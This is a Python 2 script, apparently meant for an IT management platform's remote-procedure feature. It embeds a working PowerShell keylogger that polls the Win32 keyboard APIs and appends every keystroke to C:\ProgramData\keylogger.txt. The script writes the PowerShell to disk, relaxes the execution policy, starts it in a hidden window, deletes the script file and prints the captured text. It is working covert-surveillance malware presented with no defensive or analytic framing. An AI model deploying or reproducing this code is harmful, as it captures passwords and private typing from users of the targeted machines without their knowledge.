#To define a particular parameter, replace the 'parameterName' inside itsm.getParameter('parameterName') with that parameter's name ps_content=r''' function Test-KeyLogger($logPath="C:\ProgramData\keylogger.txt") { # API declaration $APIsignatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru # output file $no_output = New-Item -Path $logPath -ItemType File -Force try { while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { # get key state $keystate = $API::GetAsyncKeyState($ascii) # if key pressed if ($keystate -eq -32767) { $null = [console]::CapsLock # translate code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state and create stringbuilder $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) $loggedchar = New-Object -TypeName System.Text.StringBuilder # translate virtual key if ($API::ToUnicode($ascii, $virtualKey, $kbstate, $loggedchar, $loggedchar.Capacity, 0)) { #if success, add key to logger file [System.IO.File]::AppendAllText($logPath, $loggedchar, [System.Text.Encoding]::Unicode) } } } } } finally { notepad $logPath } } Test-KeyLogger ''' import os def ecmd(command): import ctypes from subprocess import PIPE, Popen class disable_file_system_redirection: _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection def __enter__(self): self.old_value = ctypes.c_long() self.success = self._disable(ctypes.byref(self.old_value)) def __exit__(self, type, value, traceback): if self.success: self._revert(self.old_value) with disable_file_system_redirection(): obj = Popen(command, shell = True, stdout = PIPE) out, err = obj.communicate() ret=obj.returncode if ret==0: if out: return out.strip() else: return ret else: if err: return err.strip() else: return ret file_name='powershell_file.ps1' file_path=os.path.join(os.environ['ProgramData'], file_name) with open(file_path, 'wb') as wr: wr.write(ps_content) if not os.path.isfile('C:\ProgramData\keylogger.txt'): ecmd('powershell "Set-ExecutionPolicy RemoteSigned"') print ecmd('powershell "start-process PowerShell.exe -arg %s -WindowStyle Hidden"'%file_path) os.remove(file_path) if os.path.isfile('C:\ProgramData\keylogger.txt'): fh = open('C:\ProgramData\keylogger.txt', 'rb').read() print fh.decode('utf-16')